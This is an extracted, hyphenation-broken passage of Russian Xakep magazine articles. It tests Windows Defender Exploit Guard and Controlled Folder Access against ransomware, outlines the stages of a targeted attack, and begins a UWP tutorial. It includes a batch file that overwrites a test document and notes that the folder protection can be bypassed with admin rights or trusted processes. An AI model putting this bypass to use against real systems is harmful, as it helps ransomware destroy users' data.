безопас ности  Защит ника  Windows».  Даже  прог рам мный  фай рвол  стал

называть ся  «Бран дма уэр  Защит ника  Windows»,  но  эти  изме нения  —  чис то

кос метичес кие.  Более  сущес твен ные  каса ются  новых  фун кций,  которые  мы

под робнее рас смот рим ниже.

Еще  один  ста рый‐новый  ком понент,  появив ший ся  в  Redstone  3,  называ‐ 

ется «Защита от экс пло итов». Windows Defender Exploit Guard, или прос то EG,

вклю чает ся  через  «Центр  безопас ности  Защит ника  Windows»  в  раз деле

«Управле ние при ложе ниями и бра узе ром».

Тех ничес ки  Exploit  Guard —  это  быв шая  слу жеб ная  прог рамма 

  со  слег ка  вырос шим  набором фун кций  и  новым

интерфей сом. EMET появи лась еще во вре мена Windows Vista, теперь же ее

под дер жка  прек ращена,  а  Exploit  Guard  занял  ее  мес то.  Он  отно сит ся

к средс твам прод винутой защиты от угроз (Advanced Threat Protection), наряду

с менед жером под клю чаемых устрой ств Device Guard и защит ником при ложе‐ 

ний Application Guard. Злые  язы ки  погова рива ют,  что  в Microsoft  изна чаль но

хотели  пред ста вить  общий  ком понент  Advanced  System  Security  Guard,

но аббре виату ра выш ла сов сем неб лагоз вучной.

Enhanced

Mitigation  Experience  Toolkit

ЗАЩИТА ОТ ЭКСПЛОИТОВ
Exploit Guard — это все го лишь инс тру мент сни жения рис ка, он не избавля ет

от  необ ходимос ти  зак рывать  уяз вимос ти  в  соф те,  но  зат рудня ет  их  исполь‐ 

зование.  В  целом  прин цип  работы  Exploit  Guard  сос тоит  в  том,  что бы  зап‐ 

рещать те опе рации, которые чаще все го исполь зуют ся злов редами.

Проб лема в том, что мно гие легитим ные прог раммы тоже их исполь зуют.

Более  того,  есть  ста рые  прог раммы  (а  точ нее,  динами чес кие  биб лиоте ки),

которые  прос то  перес танут  работать,  если  задей ство вать  в Windows  новые

фун кции кон тро ля памяти и про чие сов ремен ные средс тва защиты.

По это му нас трой ка Exploit Guard — это такие же вилы, какими ранее было

исполь зование  EMET.  На  моей  памяти  мно гие  адми нис тра торы  месяца ми

вни кали в тон кости нас тро ек, а затем прос то прек ращали исполь зовать огра‐ 

ничи тель ные фун кции из‐за мно гочис ленных жалоб поль зовате лей.

Ес ли же безопас ность пре выше все го и тре бует ся зак рутить гай ки потуже,

то самыми вос тре бован ными фун кци ями Exploit Guard были (со вре мен EMET)

и оста ются:

  (Data  Execution  Prevention) —  пре дот вра щение  выпол нения  дан ных.

Не поз воля ет запус тить на исполне ние фраг мент кода, ока зав ший ся в не

пред назна чен ной  для  это го  области  памяти  (нап ример,  в  резуль тате

ошиб ки перепол нения сте ка);

• DEP

  —  пре дот вра щает  ата ку

по извес тным адре сам;

• слу чай ное  перерас пре деле ние  памяти

  —  пре пятс тву ет  внед рению  DLL

в  запус каемые  про цес сы  (см.    про  обход  UAC,  где  этот  метод

широко исполь зовал ся);

• от клю чение  точек  рас ширения

статью

ко ман да   —  зап реща ет  ука зан ному  при‐ 

ложе нию соз давать дочер ние про цес сы;

• DisallowChildProcessCreation

 —

не поз воля ет  (вре донос ному) про цес су выпол нять перебор таб лиц адре‐ 

сов и обра щать ся к стра нице памяти сис темных биб лиотек;

• филь тра ция  таб лиц адре сов импорта  (IAF) и экспор та  (EAF)

 — про веря ет наличие прав на вызов кон фиден циаль ных API;• CallerCheck

 — ими тация выпол нения. Про веря ет перед реаль ным исполне‐ 

нием кода, кому вер нутся вызовы кон фиден циаль ных API.

• SimExec

Ко ман ды могут быть переда ны через PowerShell. Нап ример, зап рет соз давать

дочер ние про цес сы выг лядит так:

Set‐ProcessMitigation ‐Name исполняемый_файл.exe

 ‐Enable DisallowChildProcessCreation

Все x86‐про цес соры и чип сеты пос ледних десяти лет выпус ка под держи вают

DEP  на  аппа рат ном  уров не,  а  для  сов сем  ста рых  дос тупна  прог рам мная

реали зация  этой  фун кции.  Одна ко  ради  сов мести мос ти  новых  вер сий  Win‐

dows  со  ста рым  соф том  Microsoft  до  сих  пор  рекомен дует  вклю чать  DEP

в  режиме  «толь ко  для  сис темных  про цес сов».  По  той  же  при чине  была

оставле на  воз можность  отклю чать  DEP  для  любого  про цес са.  Все

это  успешно  исполь зует ся  в  тех никах  обхо да  сис темы  пре дот вра щения

выпол нения дан ных.

По это му смысл от исполь зования Exploit Guard будет толь ко в том слу чае,

если  есть  воз можность  задей ство вать  сра зу  нес коль ко  защит ных  фун кций,

не  вызывая  сбой  хотя  бы  в  работе  основных  при ложе ний.  На  прак тике

это  ред ко  уда ется.  Вот    EG,  кон верти рован ного  из  EMET,

который  вооб ще  вызыва ет  сва лива ние  Windows  10  в  BSoD.  Ког да‐то

в «Хакере» была руб рика «Запад лос тро ение», и Exploit Guard бы в нее отлично

впи сал ся.

при мер  про филя

ЗАЩИТА ОТ ШИФРОВАЛЬЩИКОВ
«Все ваши фай лы были зашиф рованы. Для их рас шифров ки перечис лите бит‐ 

кой ны по ука зан ному адре су», — навер няка ты уже видел подоб ную над пись

если не на сво ем, то на чужом рабочем сто ле.

All your base are belongs to us!

Се год ня шиф роваль щики — основной под класс тро янов‐вымога телей, а Win‐

dows — основная ата куемая плат форма. Поэто му Microsoft  ста рает ся  пред‐ 

при нять  допол нитель ные  меры  защиты.  Проб лема  в  том,  что  шиф роваль‐ 

щики  —  это  не  клас сичес кие  вирусы,  и  эффектив ное  про тиво дей ствие  им

тре бует прин ципи аль но дру гих под ходов. Отло вить извес тно го тро яна по сиг‐ 

натуре  под  силу  прак тичес ки  любому  анти виру су,  а  вот  пой мать  нового  —

сов сем дру гая задача.

Уп режда ющий удар со сто роны анти виру са зат руднен хотя бы потому, что

тро яны‐вымога тели  исполь зуют  легитим ные  средс тва  крип тогра фии,  как  и

мно гие популяр ные прог раммы. В их коде обыч но нет явных приз наков зло‐ 

наме рен ной  активнос ти,  поэто му  эвристи ка  и  дру гие  меры  несиг натур ного

ана лиза час то не сра баты вают.

По иск  отли читель ных  мар керов  ransomware —  голов ная  боль  всех  анти‐ 

вирус ных  раз работ чиков.  Все,  что  они  пока  могут  пред ложить,  —  это  под‐ 

менить задачу. Вмес то поис ка ран сомва рей сос редото чить ся на их основной

цели и смот реть за ней. То есть — кон тро лиро вать дос туп к фай лам и катало‐ 

гам поль зовате ля,  а  так же регуляр но делать их бэкап на  слу чай,  если шиф‐ 

роваль щик все же до них доберет ся.

Как мы выяс нили в одной из пре дыду щих  ,  на прак тике это далеко

не иде аль ный под ход. Кон троль дос тупа — это сно ва баланс меж ду безопас‐ 

ностью и  удобс твом,  силь но сме щен ный в сто рону дис комфор та. Кон цепту‐ 

аль но  ситу ация  такая  же,  как  и  при  исполь зовании  Exploit  Guard:  либо  зап‐ 

реща ющие пра вила при меня ются спол на, но работать за компь юте ром ста‐ 

новит ся  проб лематич но,  либо  огра ниче ния  заданы  фор маль но  ради  сох‐ 

ранения сов мести мос ти со ста рым соф том и удобс тва поль зовате ля.

ста тей

Вклю чаем кон троль дос тупа к пап кам в Windows Defender

По доб ный  кон троль  дос тупа  дав но  появил ся  в  сто рон них  анти виру сах,

но  нем ного  в  дру гом  виде.  Он  был  нацелен  на  сох ранность  сис темы,  а  не

на  обна руже ние  угроз.  Пред полага ется,  что,  если  анти вирус  про мор гает

злов реда,  допол нитель ные  средс тва  кон тро ля  прос то  заб локиру ют  нежела‐ 

тель ные изме нения в катало ге   и заг рузчи ке.\Windows\

Ес ли для сис темных фай лов этот под ход еще как‐то годит ся, то для поль‐ 

зователь ских — нет. В отли чие от сис темно го катало га, содер жимое которо го

более‐менее оди нако во на раз ных компь юте рах, в поль зователь ском может

находить ся что угод но. К тому же зап росы на изме нение фай лов в нем могут

пос тупить  от  любой  прог раммы.  Добавь  к  это му  OLE,  воз можность  любого

про цес са  вызывать  дру гой  и  откры вать  фай лы  через  него,  и  ты  получишь

пред став ление о том, как выг лядит ад для анти вирус ного раз работ чика.

Пос коль ку  модифи кация  поль зователь ских  фай лов  никак  не  вли яет

на работу ОС, в Windows не было встро енных средств их защиты. Все изме‐ 

нилось  с  выходом  обновлен ной  вер сии  Windows  10,  в  которой  встро енный

«Защит ник»  начал  кон тро лиро вать  докумен ты,  фотог рафии  и  про чий  поль‐ 

зователь ский  кон тент.  Утвер жда ется,  что  он  не  даст  заменить  фай лы  их

зашиф рован ными вер сиями, лишая авто ров тро янов повода тре бовать выкуп.

ЭКСПЕРИМЕНТ
Для  про вер ки  мы  решили  соз дать  тес товую  пап ку    с  докумен тами

раз ного  типа  и  добавить  ее  в  спи сок  кон тро ля  дос тупа  Windows  Defender.

Затем запус тили нес коль ко тро янов‐шиф роваль щиков и пос мотре ли, смо жет

ли «Защит ник Windows» им про тивос тоять.

C:\Docs\

До бав ляем кон тро лиру емую пап ку

В этом тес те Windows Defender спра вил ся с под боркой тро янов луч ше мно гих

сто рон них  анти виру сов.  Он  прос то  не  дал  ско пиро вать  с  сетево го  дис ка

ни один обра зец, вклю чая раз ные модифи кации WannaCry, Petya, TeslaCrypt,

Jigsaw,  Locky  и  Satana.  Все  они  были  авто мати чес ки  уда лены,  нес мотря

на изме нен ное рас ширение (.tst) и упа ков ку средс тва ми UPX.

«Защит ник Windows» обез вре дил на лету модифи кацию тро яна Petya

Но вый  ком понент  «Кон тро лиру емый  дос туп  к  пап кам»  —  это  часть  защиты

в  реаль ном  вре мени.  Поэто му  отклю чить  в Windows Defender  ска ниро вание

на лету и про верить новую фун кцию отдель но не удас тся. Отклю чить пос тоян‐ 

ную  защиту  мож но  толь ко  пол ностью,  но  тог да  резуль тат  будет  пред ска‐ 

зуемым.

Лог зашиф рован ных фай лов

Мы рас ширили  тес товую под борку шиф роваль щиков,  вклю чив  в  нее све жие

и мало извес тные виды. Одна ко Windows Defender момен таль но уда лял их все,

не  оставляя  выбора.  Поэто му  было  решено  про вес ти  модель ный  экспе‐ 

римент,  написав…  нет,  нет!  Что  вы,  гос подин  про курор!  Никакой  не  тро ян,

а  прос тей шую  без вред ную  прог рамму.  Вот  ее  код,  доб ро  пожало вать

в девянос тые!

@echo off

echo Open `Docs` directory

cd C:\Docs\

dir

echo The original content of `lenses.txt` file is listed below:

more < lenses.txt

echo Changing text in file 'lenses.txt'...

echo File data was replaced by this string>lenses.txt

echo Done!

more < lenses.txt

Лю бой  шиф роваль щик  заменя ет  фай лы  поль зовате ля  их  зашиф рован ными

вер сиями. По сути, нам тре бует ся про верить, как фун кция «Кон тро лиру емый

дос туп  к  пап кам»  бло киру ет  опе рации  переза писи фай лов  в  катало ге  поль‐ 

зовате ля. Эта прог рамма  как раз  заменя ет  содер жимое фай ла  в  ука зан ном

катало ге той стро кой, которую ты сам ука жешь. Знак   перенап равля ет кон‐ 

соль ный вывод в файл, пол ностью переза писы вая его.

>

Пре иму щес тво  у  это го  бат ника  в  том,  что  он  выг лядит  подоз ритель но

(исполня емый файл с низ кой репута цией) и его  код  точ но неиз вестен анти‐ 

виру су. Он был написан толь ко что и не успел ниг де зас ветить ся. В качес тве

цели был ука зан файл  , пос коль ку его содер жимое отформа тиро‐ 

вано зна ками табуля ции и наг лядно отоб ража ется в кон соли коман дой 

в пре делах одно го экра на.

lenses.txt

more

Пос ле  запус ка  коман дный  файл  показы вает  содер жимое  катало га 

, а затем — фай ла  . Он пыта ется переза писать его стро кой

 и сно ва показы вает содер жимое

  для  про вер ки  резуль тата.  Сам  коман дный  файл  запус кает ся

из  дру гого  катало га  —  «Заг рузки»,  ими тируя  при выч ку  неопыт ного  поль‐ 

зовате ля (ска чивать что ни попадя и кли кать на все под ряд).

C:\

Docs\ lenses.txt

File data was replaced by this string

lenses.txt

Ес ли  мы  прос то  запус тим  бат ник  двой ным  кли ком,  то  уви дим,  что  файл

  остался  в  преж нем  виде.  Фун кция  «Кон тро лиру емый  дос туп

к пап кам» спра вилась со сво ей задачей, пре дот вра тив переза пись докумен та

по коман де от неиз вес тно го исполня емо го фай ла. При этом текст мож но спо‐ 

кой но  открыть  и  отре дак тировать  в  «Блок ноте»,  а  потом  сох ранить  поверх

ста рого, и это не вызовет никаких воп росов. Notepad — доверен ный про цесс,

и для поль зовате ля защита работа ет проз рачно.

lenses.txt

За щит ник Windows заб локиро вал изме нения докумен та

При желании мож но добавить сто рон нее при ложе ние в спи сок доверен ных.

Да, ты совер шенно вер но вос при нял это как потен циаль ный век тор ата ки.

До бав ляем при ложе ние как доверен ное

Ес ли мы пред варитель но  выпол ним повыше ние  при виле гий  и  запус тим наш

бат ник  с  пра вами  адми на,  то  файл    будет  тихо  переза писан.

Защит ник Windows не шелох нется и даже не отра зит это событие в логе. Ему

все рав но, админ отдал коман ду или какой‐то левый файл от име ни адми на.

lenses.txt

До кумент уда лось изме нить

Та ким  обра зом,  с  исполь зовани ем  (само)доверен ных  про цес сов  или  с

помощью пред варитель ного повыше ния при виле гий тро яны‐шиф роваль щики

смо гут  обой ти  новую фун кцию  «Кон тро лиру емый  дос туп  к  пап кам»,  появив‐ 

шуюся в Windows 10 v. 1709. При чем сде лать это мож но даже метода ми вре‐ 

мен MS‐DOS. Да здравс тву ет сов мести мость!

ВЫВОДЫ
Exploit Guard ока зал ся EMET в новой обер тке, а «Кон троль дос тупа» — защит‐ 

ной  полуме рой.  Она  поможет  сни зить  ущерб  от  прос тей ших  шиф роваль‐ 

щиков, запус каемых с пра вами поль зовате ля. Если же автор оче ред ной ран‐ 

сомва ри  будет  исполь зовать  тех ники  повыше ния  при виле гий  или  смо жет

отпра вить зап рос на изме нение фай лов через доверен ный про цесс, то новые

фун кции Windows 10  не  спа сут  дан ные поль зовате ля. Миними зиро вать  пос‐ 

ледс твия зараже ния поможет толь ко регуляр ный бэкап. Глав ное, что бы тро ян

не  смог  зашиф ровать  и  резер вные  копии.  Поэто му  луч ше  хра нить  их

на  непере запи сыва емом  (или  хотя  бы  отклю чаемом)  внеш нем  носите ле

и иметь дуб ликат в обла ке.

•Exploit Guard
•Ко ман дле ты для Exploit Guard
•Windows Defender Advanced Threat Protection

https://support.microsoft.com/ru-ru/help/2458544/the-enhanced-mitigation-experience-toolkit
https://xakep.ru/2016/11/10/fuck-uac/
https://gist.github.com/wdormann/a033ece40ed29aeca68b85dadc604ee3
https://xakep.ru/2017/02/16/ransomware-x-test/
https://docs.microsoft.com/ru-ru/windows/threat-protection/windows-defender-exploit-guard/evaluate-exploit-protection
https://docs.microsoft.com/en-us/windows/threat-protection/windows-defender-exploit-guard/customize-exploit-protection#cmdlets-table
https://www.microsoft.com/en-us/WindowsForBusiness/windows-atp
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MALWARE

Как бороть ся с целенап равлен ными ата ками? Оче вид но, что
нуж но  какое‐то  тех нологи чес кое  решение,  в  котором
были бы объ еди нены луч шие идеи по обна руже нию неиз вес‐ 
тных  угроз.  Но  преж де  чем  говорить  о  нем,  сто ит  опре‐ 
делить ся  с  тем,  что  счи тать  целевой  ата кой,  и  разоб рать,
как они работа ют.

В новос тях  то  и  дело мель кает:  «В резуль тате  тар гетиро ван ной ата ки  прес‐ 
тупни кам  уда лось  украсть  два  мил лиар да  дол ларов  из  40  бан ков  и  финан‐ 
совых  орга низа ций  по  все му  миру…»,  «…Жер тва ми  ата ки,  нап равлен ной
на  про мыш ленные  ком пании,  ста ли  более  500  энер гетичес ких,  метал лурги‐ 
чес ких и стро итель ных ком паний более чем в 50 стра нах…», «…Эффектив ные
и  гра мот но  раз мещен ные  вре донос ные  прог раммы,  пред назна чен ные
для  реали зации  атак  на  сис тему  SWIFT,  поз волили  кибер прес тупни кам
украсть мил лионы…» и так далее, и так далее.

Тар гетиро ван ные ата ки  (они же APT) — нас тоящий бич нашего вре мени,
и  на  защите  от  них  уже  пос тро ен  не  один  мно гомил лион ный  биз нес.  Заг‐ 
лядыва ешь на любую выс тавку, пос вящен ную ИБ, и видишь: для про дающей
сто роны APT — это теперь важ ная часть пред ложения, а для покупа ющей —
одна из насущ ных проб лем. При чем акту аль на она уже не толь ко для круп ного
биз неса, научен ного горь ким опы том, но и для сред него и даже малого. Если
ата кующий  хочет  доб рать ся  до  кор порации,  то  мел кий  под рядчик  впол не
может ока зать ся про межу точ ной целью.

НЕ ПРОСТО СЛОВА
К сожале нию, тер мины «тар гетиро ван ная ата ка» и «целенап равлен ная ата ка»
некор рек тны. Почему? Вспом ним  клас сичес кое опре деле ние  компь ютер ной
ата ки:  «Компь ютер ная  ата ка  —  целенап равлен ное  несан кци они рован ное
воз дей ствие на…». Стоп, стоп, уже дос таточ но! Получа ется, что цель‐то есть
у любой ата ки, а не толь ко у «тар гетиро ван ной».

От личитель ная  осо бен ность  целенап равлен ных  атак  зак люча ется  в  том,
что  ата кующий  активно  и  интеллек туаль но  под ходит  к 

, дос таточ но дол го ана лизи рует цир кулиру ющую
в ее ком понен тах информа цию и исполь зует соб ранные дан ные для получе‐ 
ния дос тупа к цен ной информа ции.

вы бору  точ ки  вхо да
в кон крет ную инфраструк туру

Слы шу воз мущен ные кри ки из зала: «Люди день ги теря ют, а он к тер минам
цеп ляет ся!» Одна ко ака деми чес кая точ ность опи сания проб лемы чрез вычай‐ 
но  важ на  для  соз дания  той  самой  «сереб ряной  пули»,  уни вер саль ного
решения, о котором   Иван Новиков.пи сал

Ис сле дова тели обыч но рас смат рива ют отдель ные аспекты атак и не про‐ 
водят  ком плексный  ана лиз  проб лемы.  Поэто му  несовер шенны  и  методы
выяв ления атак и борь бы с ними в уже ском про мети рован ной сре де.

Нап ример,  мно гие  методы  и  сис темы  безопас ности  осно ваны  на  ста‐ 
тичес ких  спис ках  шаб лонов,  то  есть  на  базах  для  эвристи чес кого  ана лиза,
«белых спис ках», базах сиг натур и так далее. Одна ко такие спис ки ока зыва‐ 
ются  неэф фектив ными  для  опре деле ния  «нешаб лонных»  угроз,  при  которых
зло умыш ленни ки  ста рают ся  скрыть  свое  при сутс твие  в  ском про мети рован‐ 
ной инфраструк туре.

Ме тод,  который  в  соот ветс твии  с  тре бова ниями  раз личных  стан дартов
обес печения ИБ гаран тиру ет отсутс твие в сис теме наруши теля, зак люча ется
в 

.  Имен но  так  «бумаж ная  безопас ность»  исклю чает  ком про мета цию
на любом эта пе.

соз дании  и  под держа нии  зам кну тых  доверен ных  прог рам мно‐аппа рат ных
сред

Увы,  с  прак тичес кой  точ ки  зре ния  этот  метод  неэф фекти вен.  Сов ремен‐ 
ные  прог рам мно‐аппа рат ные  сре ды обыч но  пос тро ены  на  осно ве  обо рудо‐ 
вания и соф та раз ных про изво дите лей, которые исполь зуют раз ные под ходы
при раз работ ке, раз ные методы обновле ния и под дер жки. Иссле довать все
про дук ты, нет ли в них зак ладок, нере аль но, а без это го никаких доверен ных
сред не вый дет.

Дру гой метод защиты цен ных ресур сов от целенап равлен ного несан кци‐ 
они рован ного  дос тупа  осно ван  на 

. И он тоже неэф фекти вен в реаль ных усло виях. Даже если удас тся зак‐ 
рыть  все  побоч ные  каналы  свя зи,  которые  могут  быть  исполь зованы  зло‐ 
умыш ленни ками для вывода дан ных, оста ется челове чес кий фак тор. Неред ко
побоч ные  каналы  свя зи  соз дают  имен но  люди,  вза имо дей ствуя  с  сис‐ 
темами, — неп редна мерен но или же умыш ленно.

фи зичес кой  изо ляции  защища емых  объ‐ 
ектов

ПРОБЛЕМА РЕШЕНИЯ
По луча ется,  что  избе жать  рис ка  ком про мета ции  фак тичес ки  невоз можно.
Соот ветс твен но, нуж ны сис темы выяв ления неиз вес тных атак в уже ском про‐ 
мети рован ной сре де. Этот класс решений носит гор дое наз вание post‐breach
(«пос ле  взло ма»)  и  чаще  все го  реша ет  задачу  response/mitigation,  то  есть
реаги рова ния и смяг чения.

А вот методов и пос тро енных на их осно ве решений для сво евре мен ного
детек та  угроз  (post‐breach detection)  в дей стви тель нос ти не  так мно го. Нап‐ 
ример,  один  из  них  —  это  сети  ловушек,  которые  широко  извес тны
как «ханипо ты».

Уров ни, на которых может быть реали зова на сис тема ловушек (по мне ‐
нию Gartner)

Пра виль но  сде лан ная  ловуш ка  дей стви тель но  может  помочь  обна ружить
целенап равлен ную ата ку на опре делен ной ста дии. Но при этом клас сичес кий
ханипот вряд ли чем‐то поможет в выяв лении дру гих  точек при сутс твия ата‐ 
кующе го.

Из вес тны  спо собы  ,  а  так же
поис ка ано малий в фун кци они рова нии ком понен тов сис темы. Гораз до слож‐ 
нее най ти рекомен дации, как выбирать парамет ры раз верты вания ханипо тов.
Сколь ко нуж но фей ковых рабочих стан ций в сети? Какие фей ковые акка унты
и  на  каких  машинах  соз дать?  Еще  слож нее  про ана лизи ровать  получен ные
таким  спо собом  дан ные.  «Окей,  Google,  кто‐то  вос поль зовал ся  фей ковой
учет кой на компь юте ре нашего бух галте ра. Что теперь делать?»

адап тивно го  раз верты вания  сис тем  ловушек

НЕОПОЗНАННОЕ ≠ СВЕРХЪЕСТЕСТВЕННОЕ
Что бы не вно сить тер миноло гичес кую путани цу, будем исполь зовать тер мин
«неиз вес тная  компь ютер ная  ата ка».  Она  может  вклю чать  в  себя  свой ства
целенап равлен ных атак, но не огра ничи вать ся ими. Неиз вес тная компь ютер‐ 
ная ата ка — это неп рерыв ное целенап равлен ное несан кци они рован ное воз‐ 
дей ствие  при  помощи  прог рам мных  или  прог рам мно‐аппа рат ных  средств
с такими парамет рами фун кци они рова ния, которые не поз воля ют защит ным
решени ям его обна ружить в реаль ном вре мени.

Зву чит  слож но?  На  самом  деле  все  сво дит ся  к  трем  клю чевым  осо бен‐ 
ностям: неп рерыв ности, целенап равлен ности и нет риви аль нос ти.

 — харак терис тика, опре деля ющая вре мен ной интервал,
в  течение  которо го  ата кующий  сох раня ет  несан кци они рован ный  дос туп
к  ресур су  или  воз дей ству ет  на  него.  В  час тнос ти,  целенап равлен ные  ата ки
отли чают ся  про дол житель ным  кон тро лем  точек  при сутс твия  в  целевой
информа цион ной сис теме.

Неп рерыв ность

  —  харак терис тика,  которая  опре деля ет  сте пень
руч ной  работы  со  сто роны  ата кующе го  для  реали зации  несан кци они рован‐ 
ного  дос тупа  или  воз дей ствия  и  учи тыва ет  инди виду аль ные  осо бен ности
целевой инфраструк туры.

Це ленап равлен ность

  для сис тем обна руже ния атак — это  харак терис тика,
опре деля ющая  слож ность  обна руже ния  это го  клас са  атак  защит ными  сис‐ 
темами ата куемо го объ екта. Свя зана с целенап равлен ностью. Это клю чевая
харак терис тика для оцен ки эффектив ности методов и сис тем защиты.

Нет риви аль ность

ЖИЗНЕННЫЙ ЦИКЛ АТАКИ
Лю бую  кибера таку  мож но  поделить  на  ста дии,  наз вания  которых  приш ли
к  нам  из  воен ной  науки.  Каж дая  ста дия  под разуме вает  набор  стра тегий
и методов  для  их  реали зации. И  для  каж дой  из  ста дий  сущес тву ют  пре вен‐ 
тивные меры и стра тегии ответных дей ствий.

Жиз ненный цикл ата ки (по матери алам Gartner)

Да вай на при мерах раз берем каж дую ста дию жиз ненно го цик ла ата ки и про‐ 
иллюс три руем стра тегии реали зации эта пов. Назовем ата кующе го Васили ем.

Ва ся ата кует

Имей в виду, что эти сце нарии лишь час тный слу чай из мно гооб разия так тик
и средств, которые может исполь зовать ата кующий.

Раз ведка, под готов ка
Во  вре мя  раз ведки  Василий  пыта ется  обна ружить  точ ки  вхо да  в  целевую
инфраструк туру.  Для  это го  он  вни матель но  изу чает  отчет  сво его  ска нера
веб‐уяз вимос тей,  который  прос каниро вал  пуб личное  веб‐при ложе ние,  при‐ 
над лежащее жер тве.

Кро ме того, Вася, ана лизи руя выдачу поис ковых сис тем, ищет экс плу ата‐ 
бель ные ресур сы,  IP которых вхо дят в диапа зон адре сов целевой орга низа‐ 
ции.

Ва силий нашел про фили нес коль ких сот рудни ков орга низа ции в соци аль‐ 
ных  сетях  и  их  кор поратив ные  email‐адре са.  На  осно ве  получен ных  дан ных
Василий под готовил сле дующий план дей ствий.
1. По пытать ся  ском про мети ровать  рабочие  стан ции  обна ружен ных  сот‐ 
рудни ков.

2. Ес ли это не удас тся, Василий поп робу ет исполь зовать пуб личные экс пло‐ 
иты,  что бы  ата ковать  сер веры  орга низа ции,  дос тупные  из  интерне та,
а так же роуте ры Wi‐Fi в офи сах ком пании.

3. Па рал лель но с пер выми дву мя шагами Василий будет искать уяз вимос ти
в пуб личном веб‐при ложе нии в надеж де, что ском про мети рован ное при‐ 
ложе ние пре дос тавит ему дос туп к внут ренней инфраструк туре.

Что бы  реали зовать  все  это,  Василий  готовит  текст  пись ма  с  вре донос ным
вло жени ем  сот рудни кам,  кас томизи рует  най ден ные  экс пло иты,  а  так же
запус кает перебор пароля для админки обна ружен ного веб‐ресур са.

Дос тавка, экс плу ата ция, зак репле ние
Как ты дума ешь, какой из пун ктов име ет боль ший шанс на успех? Быть может,
ты видел отче ты кон салтин говых ком паний и ска жешь, что это веб‐при ложе‐ 
ние.  Или  вспом нишь  про  челове чес кий  фак тор  и  неком петен тность  пер‐ 
сонала  в  воп росах  ИБ  и  пред положишь,  что  победит  фишин говое  пись мо
с вло жени ем. Но Васе все рав но,  что  ты дума ешь,  потому  что он  уже сидит
с ноут буком в офи се ком пании и ждет под клю чений мобиль ных устрой ств ее
сот рудни ков.

Так или ина че, итог этой ста дии: отстук заг ружен ного вре донос ного кода
на управля ющий сер вер Василия.

Дей ствие
Вот  тут  начина ется  все  самое  инте рес ное.  На  прак тике  час то  ока зыва ется
так,  что  зло умыш ленник  вынуж ден  про водить  целую  спе цопе рацию  и  соз‐ 
давать новые точ ки при сутс твия для того, что бы обес печить себе пос тоян ный
кон троль (persistent). Ему при дет ся про водить раз ведку внут ри ском про мети‐ 
рован ной инфраструк туры и переме щать ся к цен ным ресур сам. Это называ‐ 
ется  lateral  movement:  вряд  ли  получен ный  дос туп  к  компь юте ру  бух галте ра
удов летво рит заказ чиков Василия — их ско рее инте ресу ет интеллек туаль ная
собс твен ность ком пании. Ну и в конеч ном сче те Васе нуж но будет про вес ти
незамет ный вывод дан ных (exfiltration).

ПРОТИВОДЕЙСТВИЕ
Ко неч но, этап про тиво дей ствия дол жен начинать ся рань ше, а не пос ле всех
опи сан ных  ста дий. Но  иног да  быва ет  так,  что Василия  начина ют  искать  уже
пос ле  того,  как он скрыл ся с цен ными дан ными. И зачас тую это про исхо дит
не толь ко из‐за неком петен тнос ти защища ющей ся сто роны. Прос то Василий
имел дос таточ но вре мени, что бы изу чить жер тву, преж де чем начал какие‐то
активные дей ствия, и хорошо знал обо всех защит ных сис темах. Да и васили‐ 
ев  зачас тую  мно го,  а  некото рые  из  них  пря чут ся  и  сре ди  внут ренних  сот‐ 
рудни ков.

Имен но  по  опи сан ным  выше  при чинам  мы  пос тара емся  узнать  о  Васе
и  его  намере ниях  еще  до  того,  как  он  реали зует  все  ста дии  сво ей  ата ки.
Для  это го  нуж но  научить ся  вов ремя  опре делять  его  появ ление  в  нашей
инфраструк туре.  Тому,  как  это  делать,  я  пос вящу  сле дующие  выпус ки  моей
колон ки.

mailto:condifesa@gmail.com
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КОДИНГ

Клас сичес кие  дот нетов ские  при ложе ния  хороши  тем,  что
они прак тичес ки не огра ниче ны в пра вах и, нап ример, могут
работать  в  трее.  Зато  уни вер саль ные  при ложе ния  (UWP)
более безопас ны, и их мож но уста нав ливать и уда лять бес‐ 
числен ное  количес тво  раз,  не  забивая  сис тему  и  реестр
мусором.  Плат форма  UWP  пос тоян но  раз вива ется,  и,  пока
поль зовате ли обновля ются до Fall Creators Update,  который
вышел в октябре это го года, мы, раз работ чики, можем пос‐ 
мотреть на его новые и инте рес ные воз можнос ти.

Windows  10  Fall  Creators  Update:  все,  что  нуж но
знать

Го тов? Ска чивай  пос леднюю SDK  с  ,  и  нач нем  нашу
озна коми тель ную экскур сию.

офи циаль ной стра ницы

В  пер вую  оче редь  хотелось  бы  отме тить 
. Одним из самых ожи даемых улуч шений для меня было

повыше ние ско рос ти работы. Срав ни ско рость заг рузки в Fall Creators Update
(сле ва) с прос тым Creators Update:

мно жес твен ные  улуч шения

в дизай нере XAML

Срав нение про изво дитель нос ти XAML

На кон ферен ции Build 2017 Microsoft анон сирова ла новую сис тему UI‐дизай на
под наз вани ем  .Fluent

Microsoft Fluent Design System

И вот с это го обновле ния в UWP нач нут появ лять ся новые эле мен ты управле‐ 
ния, осно ван ные на этой сис теме.

NAVIGATION VIEW

Navigation View — это out of box кон трол для отоб ражения меню.

Navigation View в режиме Minimal

Ме ню  выпада ет  с  левой  сто роны.  Кро ме  того,  к  меню  отно сит ся  и  полос ка
свер ху — Header. На эту полос ку мож но вынес ти текст заголов ка или допол‐ 
нитель ные кноп ки.

Ме ню  может  исполь зовать ся  в  трех  раз личных  вари ациях.  Вари ант
на  скрин шоте  свер ху — Minimal.  В  этом  режиме  Header  скрыть  нель зя,  так
как  на  нем  находит ся  кноп ка  «гам бургер».  Есть  еще  режим  Compact,
в котором спра ва отоб ража ются икон ки меню.

Navigation View в режиме Compact

В режиме Expanded меню отоб ража ется рас кры тым.
Из меняя раз мер окна при ложе ния, ты можешь изме нить режим Navigation

View. Ведь сис тема авто мати чес ки выбира ет режим исхо дя из раз мера окна
при ложе ния. На этот выбор мож но пов лиять, ука зав раз личные зна чения пик‐ 
селей  для  атри бутов  OpenPaneLength,  CompactModeThresholdWidth
и ExpandedModeThresholdWidth.

При мер кода панели навига ции:

<NavigationView x:Name="NavView" IsSettingsVisible="True"
               ItemInvoked="NavView_ItemInvoked">
   <NavigationView.MenuItems>
       <NavigationViewItem Content="Начальная страница" Tag="home">
           <NavigationViewItem.Icon>
               <FontIcon Glyph="&#xE10F;"/>
           </NavigationViewItem.Icon>
       </NavigationViewItem>
       <NavigationViewItemSeparator/>
       <NavigationViewItemHeader Content="Новые возможности"/>
       <NavigationViewItem Icon="AllApps" Content="Автозагрузка" 
Tag="автозагрузка"/>
       <NavigationViewItem Icon="AllApps" Content="Перезапуск" Tag=
"перезапуск"/>
